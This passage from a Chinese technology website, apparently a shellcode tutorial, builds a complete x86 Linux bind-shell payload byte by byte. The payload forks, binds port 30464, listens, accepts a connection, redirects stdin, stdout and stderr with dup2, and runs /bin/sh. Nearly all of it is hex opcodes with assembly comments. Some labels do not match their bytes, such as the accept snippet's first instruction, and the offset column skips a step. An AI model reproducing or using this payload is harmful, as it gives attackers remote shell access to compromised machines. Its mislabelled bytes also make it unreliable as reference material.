扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
/* bind使用66号系统调用,2号子调用。 */ /* 他使用一段内存块来传递参数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值, */ /* 就是soc文件描述符,作为第一个参数 */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ /* serv_addr.sin_family=AF_NET(2) */ /* 2 放在 0xc(%esi). */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ /* 端口号(0x7700=30464)放在 0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ /* %eax = serv_addr 的地址 */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* 第二个参数. */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ /* serv_addr.sin_addr.s_addr=0 */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* 第三个参数 . */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ |
listen(soc,1)的汇编代码
/* listen使用66号系统调用,4号子调用。 */ /* 他使用一段内存块来传递参数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值, */ /* 就是soc文件描述符,作为第一个参数 */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* 第二个参数. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ |
accept(soc,0,0)的汇编代码
/* accept使用66号系统调用,5号子调用。 */ /* 他使用一段内存块来传递参数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\xf1" /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值, */ /* 就是soc文件描述符,作为第一个参数 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* 第二个参数. */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* 第三个参数. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ |
dup2(cli,0)的汇编代码
/* 第一个参数为 %ebx, 第二个参数为 %ecx */ char code[]= /* %eax 里面是刚才accept调用的返回值, */ /* 客户的文件描述符cli . */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ |
现在该把这些所有的细节都串起来,形成一个新的shell的时候了。
char shellcode[]= 00 "\x31\xc0" /* xorl %eax,%eax */ 02 "\xb0\x02" /* movb $0x2,%al */ 04 "\xcd\x80" /* int $0x80 */ 06 "\x85\xc0" /* testl %eax,%eax */ 08 "\x75\x43" /* jne 0x43 */ /* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */ /* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */ 0a "\xeb\x43" /* jmp 0x43 */ /* 当fork()==0 的时候,表明是子进程 */ /* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */ 0c "\x5e" /* popl %esi */ 0d "\x31\xc0" /* xorl %eax,%eax */ 0f "\x31\xdb" /* xorl %ebx,%ebx */ 11 "\x89\xf1" /* movl %esi,%ecx */ 13 "\xb0\x02" /* movb $0x2,%al */ 15 "\x89\x06" /* movl %eax,(%esi) */ 17 "\xb0\x01" /* movb $0x1,%al */ 19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 1c "\xb0\x06" /* movb $0x6,%al */ 1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */ 21 "\xb0\x66" /* movb $0x66,%al */ 23 "\xb3\x01" /* movb $0x1,%bl */ 25 "\xcd\x80" /* int $0x80 */ /* 执行socket(),eax里面为返回值soc文件描述符 */ 27 "\x89\x06" /* movl %eax,(%esi) */ 29 "\xb0\x02" /* movb $0x2,%al */ 2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ 2f "\xb0\x77" /* movb $0x77,%al */ 31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ 35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ 38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 3b "\x31\xc0" /* xorl %eax,%eax */ 3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */ 40 "\xb0\x10" /* movb $0x10,%al */ 42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */ 45 "\xb0\x66" /* movb $0x66,%al */ 47 "\xb3\x02" /* movb $0x2,%bl */ 49 "\xcd\x80" /* int $0x80 */ /* 执行bind() */ 4b "\xeb\x04" /* jmp 0x4 */ /* 越过下面的两个跳转 */ 4d "\xeb\x55" /* jmp 0x55 */ /* 跳到0x4f+0x55=0xa4 */ 4f "\xeb\x5b" /* jmp 0x5b */ /* 跳到0x51+0x5b=0xac */ 51 "\xb0\x01" /* movb $0x1,%al */ 53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 56 "\xb0\x66" /* movb $0x66,%al */ 58 "\xb3\x04" /* movb $0x4,%bl */ 5a "\xcd\x80" /* int $0x80 */ /* 执行listen() */ 5c "\x31\xc0" /* xorl %eax,%eax */ 5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */ 64 "\xb0\x66" /* movb $0x66,%al */ 66 "\xb3\x05" /* movb $0x5,%bl */ 68 "\xcd\x80" /* int $0x80 */ /* 执行accept(),eax里面为返回值cli文件描述符 */ 6a "\x88\xc3" /* movb %al,%bl */ 6c "\xb0\x3f" /* movb $0x3f,%al */ 6e "\x31\xc9" /* xorl %ecx,%ecx */ 70 "\xcd\x80" /* int $0x80 */ 72 "\xb0\x3f" /* movb $0x3f,%al */ 74 "\xb1\x01" /* movb $0x1,%cl */ 76 "\xcd\x80" /* int $0x80 */ 78 "\xb0\x3f" /* movb $0x3f,%al */ 7a "\xb1\x02" /* movb $0x2,%cl */ 7c "\xcd\x80" /* int $0x80 */ /* 执行三个dup2() */ 7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ /* %eax="/bin" */ 83 "\x89\x06" /* movl %eax,(%esi) */ 85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ /* %eax="/sh/" */ 8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */ 8d "\x31\xc0" /* xorl %eax,%eax */ 8f "\x88\x46\x07" /* movb %al,0x7(%esi) */ 92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */ 95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ 98 "\xb0\x0b" /* movb $0xb,%al */ 9a "\x89\xf3" /* movl %esi,%ebx */ 9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ 9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ a2 "\xcd\x80" /* int $0x80 */ /* 执行execve() */ /* 运行/bin/sh() */ a4 "\x31\xc0" /* xorl %eax,%eax */ a6 "\xb0\x01" /* movb $0x1,%al */ a8 "\x31\xdb" /* xorl %ebx,%ebx */ aa "\xcd\x80" /* int $0x80 */ /* 执行exit() */ ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */ /* 执行0x0c处的指令 */ |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者